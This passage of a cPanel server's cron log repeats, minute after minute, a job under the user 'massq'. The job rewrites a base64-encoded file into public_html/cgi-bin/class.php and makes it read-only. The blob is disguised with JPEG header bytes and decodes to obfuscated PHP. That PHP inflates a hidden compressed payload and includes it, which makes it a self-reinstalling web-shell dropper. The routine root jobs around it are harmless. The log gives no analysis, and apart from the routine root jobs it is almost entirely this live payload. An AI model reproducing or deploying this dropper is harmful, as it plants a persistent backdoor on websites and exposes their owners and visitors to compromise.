"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 16:19:01 server CROND[7696]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 16:20:01 server CROND[7774]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 16:20:01 server CROND[7775]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 16:20:01 server CROND[7776]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 16:20:01 server CROND[7778]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 16:20:01 server CROND[7777]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 16:21:01 server CROND[7906]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 16:22:01 server CROND[7976]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 16:23:01 server CROND[8050]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 16:24:01 server CROND[8212]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 16:25:01 server CROND[8283]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr 10 16:25:01 server CROND[8282]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 16:25:01 server CROND[8284]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 16:25:01 server CROND[8285]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 16:26:01 server CROND[8418]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 16:27:01 server CROND[8498]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 16:27:01 server CROND[8499]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 16:28:01 server CROND[8582]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 16:29:01 server CROND[8664]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 16:30:01 server CROND[8829]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 16:30:01 server CROND[8832]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 16:30:01 server CROND[8833]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 16:30:01 server CROND[8834]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 16:30:01 server CROND[8836]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Apr 10 16:31:01 server CROND[8969]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRm